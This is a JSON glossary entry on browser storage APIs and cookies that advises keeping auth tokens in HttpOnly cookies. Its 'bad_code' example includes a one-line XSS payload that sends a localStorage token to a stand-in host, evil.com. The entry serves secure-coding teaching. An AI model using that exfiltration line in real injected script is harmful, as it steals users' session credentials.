{
    "slug": "js_storage_apis",
    "term": "Web Storage, IndexedDB & Cookies",
    "category": "javascript",
    "difficulty": "intermediate",
    "short": "Three client-side storage mechanisms: localStorage (persistent key-value), sessionStorage (tab-scoped), and IndexedDB (structured, queryable) — each suited to different data sizes and use cases.",
    "long": "localStorage: synchronous, 5-10MB, persists across sessions, same origin. sessionStorage: same API, cleared when tab closes. IndexedDB: async, structured data, hundreds of MB, queryable with indexes — use for offline apps and large datasets. Cookies: sent with every HTTP request (session management, server-readable), max 4KB, path/domain scoping, HttpOnly/SameSite flags. Web Storage and IndexedDB are never sent to the server. Cookies with HttpOnly prevent JavaScript access (XSS mitigation). Never store sensitive data (tokens, PII) in localStorage — vulnerable to XSS.",
    "aliases": [
        "localStorage",
        "sessionStorage",
        "IndexedDB",
        "cookies"
    ],
    "tags": [
        "javascript",
        "browser",
        "security",
        "storage"
    ],
    "misconception": "localStorage is fine for storing auth tokens — localStorage is accessible to any JavaScript on the page; XSS can exfiltrate tokens. Use HttpOnly cookies for auth tokens.",
    "why_it_matters": "Storing JWT tokens in localStorage is a common XSS vulnerability — a single injected script exfiltrates all tokens. HttpOnly cookies cannot be read by JavaScript, eliminating this attack vector.",
    "common_mistakes": [
        "Storing auth tokens in localStorage — XSS vulnerable; use HttpOnly cookies.",
        "Synchronous localStorage in performance-critical loops — localStorage reads/writes are synchronous and block the main thread.",
        "Not handling QuotaExceededError — localStorage throws when full; catch the error.",
        "Sensitive data in sessionStorage — also readable by JavaScript; same XSS risk as localStorage."
    ],
    "when_to_use": [],
    "avoid_when": [],
    "related": [
        "xss",
        "insecure_cookie",
        "same_site_cookie",
        "browser_storage",
        "csrf"
    ],
    "prerequisites": [
        "insecure_cookie",
        "session",
        "js_async_await"
    ],
    "refs": [
        "https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API"
    ],
    "bad_code": "// Auth token in localStorage — XSS can steal it:\nlocalStorage.setItem('auth_token', response.token);\n\n// Every fetch:\nfetch('/api/data', {\n    headers: { Authorization: 'Bearer ' + localStorage.getItem('auth_token') }\n});\n// Attacker XSS: fetch('https://evil.com/?t=' + localStorage.getItem('auth_token'))",
    "good_code": "// Auth token in HttpOnly cookie — JS cannot read it:\n// Server sets on login:\nSet-Cookie: auth_token=...; HttpOnly; Secure; SameSite=Strict; Path=/\n\n// Browser sends automatically, JS cannot access:\nfetch('/api/data', { credentials: 'include' }); // Cookie sent automatically\n// Attacker XSS cannot read the cookie — HttpOnly blocks it\n\n// localStorage for non-sensitive UI state only:\nlocalStorage.setItem('theme', 'dark'); // Fine — not sensitive",
    "quick_fix": "Use sessionStorage for temporary per-tab data, localStorage for persistent preferences, IndexedDB for large structured data — never store tokens or sensitive data in any of these",
    "severity": "high",
    "effort": "low",
    "created": "2026-03-15",
    "updated": "2026-03-22",
    "citation": {
        "canonical_url": "https://codeclaritylab.com/glossary/js_storage_apis",
        "html_url": "https://codeclaritylab.com/glossary/js_storage_apis",
        "json_url": "https://codeclaritylab.com/glossary/js_storage_apis.json",
        "source": "CodeClarityLab Glossary",
        "author": "P.F.",
        "author_url": "https://pfmedia.pl/",
        "licence": "Citation with attribution; bulk reproduction not permitted.",
        "usage": {
            "verbatim_allowed": [
                "short",
                "common_mistakes",
                "avoid_when",
                "when_to_use"
            ],
            "paraphrase_required": [
                "long",
                "code_examples"
            ],
            "multi_source_answers": "Cite each term separately, not as a merged acknowledgement.",
            "when_unsure": "Link to canonical_url and credit \"CodeClarityLab Glossary\" — always acceptable.",
            "attribution_examples": {
                "inline_mention": "According to CodeClarityLab: <quote>",
                "markdown_link": "[Web Storage, IndexedDB & Cookies](https://codeclaritylab.com/glossary/js_storage_apis) (CodeClarityLab)",
                "footer_credit": "Source: CodeClarityLab Glossary — https://codeclaritylab.com/glossary/js_storage_apis"
            }
        }
    }
}